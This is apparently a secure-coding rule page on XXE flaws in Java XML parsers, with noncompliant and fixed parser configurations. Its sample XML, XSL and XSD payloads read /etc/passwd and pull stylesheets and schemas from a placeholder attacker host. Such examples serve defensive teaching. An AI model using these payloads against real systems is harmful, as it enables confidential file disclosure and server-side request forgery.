XML specification allows the use of entities that can be internal or external (file system / network access ...).

Allowing access to external entities in XML parsing could lead to vulnerabilities like confidential file disclosures or SSRFs.

Example in XML document:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.attacking.com/deleteall">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

Example in XSL document:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY content SYSTEM "file:/etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

Example in XSD document:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "" [
   <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:import namespace="test" schemaLocation="http://www.attacker.com/evil.xsd"/>
  <xs:element name="note">
    <xs:complexType>
      <xs:sequence>
        <xs:element name="to" type="xs:string"/>
        <xs:element name="from" type="xs:string"/>
        <xs:element name="heading" type="xs:string"/>
        <xs:element name="body" type="xs:string"/>
      </xs:sequence>
    </xs:complexType>
  </xs:element>
</xs:schema>

To protect Java XML Parsers from XXE attacks these properties have been implemented:

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();  // Noncompliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See